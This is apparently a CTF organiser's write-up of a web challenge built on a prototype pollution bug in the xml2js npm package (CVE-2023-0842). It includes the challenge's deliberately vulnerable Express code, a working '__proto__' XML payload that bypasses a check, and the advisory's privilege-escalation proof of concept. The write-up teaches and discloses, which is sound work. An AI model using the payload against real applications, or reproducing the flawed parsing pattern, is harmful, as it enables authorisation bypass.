Every year I have to create a variety of challenges for the Icelandic ECSC Qualifiers & Finals as part of my work for the Icelandic CTF Association. When creating a CTF, several aspects must be tested:

  • Ensure that the perceived difficulty of the challenge is accurate.
  • Check for any unintended solutions to the challenge.
  • Verify that the challenge is in fact solvable.
  • Confirm that the objective of the challenge is clear, i.e. not (too) guessy.

One question I didn’t realize I had to ask myself when creating a CTF challenge:

Will the CTF challenge receive a CVE and an accompanying advisory in the middle of the competition drastically changing the difficulty?

This year, one of my medium-difficulty challenges unexpectedly transformed into a super simple introductory challenge in the middle of the qualifiers. This happened because the vulnerability in the challenge was made public with an accompanying advisory during the competition.

Inspiration For The Challenge

I participated in KalmarCTF in early March, one of the challenges I solved was 2cool4school. While working on the challenge I stumbled upon a prototype pollution issue, which later turned out to be a dead end. Post-CTF, the challenge’s source code was released, meaning I could figure out the cause of the prototype pollution. It turned out that the prototype pollution I resided in a third-party npm package, xml2js.

Looking closer I notice that the challenge is using the latest version of the package and that the package has over 18 million weekly downloads. Interesting, but how severe is the vulnerability? After playing around with the bug a bit I discover that the bug is quite limited, bummer. Turns out that the prototype of the object is being replaced and not modified, meaning that the inherited prototype of other objects are safe.

Curious to know if anyone else had flagged this concern, I searched the GitHub issues for the package. It turns out that Dylan Katz had reported this issue back in 2020, and there’s already a pull request from 2021 fixing the issue.

So, turns out, the bug is boring. Someone already reported it, and it seems to be a non-issue since it hasn’t been fixed. Well, at least we can make this into a somewhat interesting CTF challenge.

SO Fresh SO Clean

The challenge, named SO Fresh SO Clean, is a rather simple web challenge. You receive a link to a website as well as some source code. The website is a simple shopping website with seemingly no functionality other than allowing you to add items to your cart. One of the items is a flag but if you try to add the flag to your cart you will receive an error message stating that it is an Invalid item. Let’s take a look at the code:

const express = require('express');
const path = require('node:path');
const bodyParser = require('body-parser');
const { readFile } = require('fs/promises');
const parseString = require('xml2js').parseString;

const app = express()
const port = 5000

app.use(express.static('static'))
app.use(bodyParser.text({ type: 'text/xml' }))

function invalidItem(item) {
    return JSON.stringify(item).includes('flag');
}

app.get('/', (req, res) => {
    res.sendFile('index.html', { root: path.join(__dirname, 'templates')});
})

app.get('/cart', async (req, res) => {
    let cartTemplate = await readFile('templates/cart.html', 'utf8');
    let html = cartTemplate.replaceAll('{{ item }}', 'Your cart is empty');
    res.setHeader('Content-Type', 'text/html');
    res.send(html);
})

app.post('/cart', async (req, res) => {
    let cart = null;
    let html = null;
    let cartTemplate = await readFile('templates/cart.html', 'utf8');
    try {
        parseString(req.body, function (err, cart) {
            if (invalidItem(cart)) {
                res.statusCode = 400;
                return res.send('Invalid item!');
            }
            if (cart.item.includes('flag')) {
                html = cartTemplate.replaceAll('{{ item }}', process.env.FLAG || 'gg{not_a_flag}');
            } else {
                html = cartTemplate.replaceAll('{{ item }}', cart.item)
            }
            res.setHeader('Content-Type', 'text/html');
            res.send(html);
        });
    } catch(e) {
        res.statusCode = 500;
        return res.send(e.message);
    }
})  

app.listen(port, () => {
    console.log(`listening on port ${port}`);
})

Most of the code is just boilerplate. We can see that the main logic is in the method handling POST /cart. After reading through the code, it should be clear that the objective of the challenge is to place the flag item in the cart. This is because we receive the flag for the challenge if the cart includes the flag item. To get to that point we must first ensure that the call to invalidItem('cart') returns false.

function invalidItem(item) {
    return JSON.stringify(item).includes('flag');
}

We now know that two conditions must be met:

  • JSON.stringify(item).includes('flag') must be false.
  • cart.item.includes('flag') must be true.

How do we achieve this?

The Solution

When we look at the request made to POST /cart we can see that an XML object is being sent to the backend:

<item>hat</item>

Now looking back at the code we can see that the function used for parsing the object, parseString, is imported from xml2js. The package’s description reads:

Simple XML to JavaScript object converter.

For some this might ring warning bells immediately as it is a classic example of how Prototype Pollution vulnerabilities can arise. For those unfamiliar with prototype pollution you can read about it here.

Now we want to try and pollute the prototype of the cart object. We do this by submitting a XML object that looks something like this:

<__proto__><item>flag</item></__proto__>

Submitting the above object would result in the flag. Why does this work? Let’s take a look at how the object differs when using __proto__ and when we don’t:

// <item>flag</item>
JSON.stringify(item) // {"item": "flag"}
cart.item // "flag"

JSON.stringify(item).includes('flag') // true
cart.item.includes('flag') // true

// <__proto__><item>flag</item></__proto__>
JSON.stringify(item) // {}
cart.item // ["flag"]

JSON.stringify(item).includes('flag') // false
cart.item.includes('flag') // true

The reason that JSON.stringify(item) returns an empty JSON object while cart.item returns the item is due to the prototype being polluted. This means the actual object does not include the flag item, but its prototype does. When we call cart.item, JavaScript won’t find the value in the object itself so JavaScript looks into the object’s prototype next where it finds the item.

CVE-2023-0842

On April 10th Fluid Attacks discloses CVE-2023-0842, a prototype pollution vulnerability affecting xml2js - the same vulnerability as in the challenge. They publish an advisory which can be found here. Reading through the advisory, we find an example of how the package can lead to an exploitable vulnerability.

var parseString = require('xml2js').parseString;

let normal_user_request    = "<role>admin</role>";
let malicious_user_request = "<__proto__><role>admin</role></__proto__>";

const update_user = (userProp) => {
    // A user cannot alter his role. This way we prevent privilege escalations.
    parseString(userProp, function (err, user) {
        if(user.hasOwnProperty("role") && user?.role.toLowerCase() === "admin") {
            console.log("Unauthorized Action");
        } else {
            console.log(user?.role[0]);
        }
    });
}

update_user(normal_user_request);
update_user(malicious_user_request);

When the advisory was published, the competitors no longer needed to learn about prototype pollution or figure out how to solve the challenge. They could instead just search for vulnerabilities affecting xml2js, read the advisory and try out the exploit showed in the advisory.

Conclusion

The advisory made my introductory prototype pollution challenge into a very simple search for the CVE challenge mid-competition. This could also be seen in the number of solves before and after the advisory. Luckily this didn’t change too much as people could always discover the GitHub issue from bwolff although that would still require at least a little bit of research.

We went from discovering an unpatched vulnerability during a CTF, transforming it into a CTF challenge, and then witnessing the vulnerability become public during the CTF competition. The coincidence of a vulnerability that had been overlooked for almost three years getting patched and disclosed while I hosted a CTF challenge based on it is interesting but something I hope will not happen again.

Timeline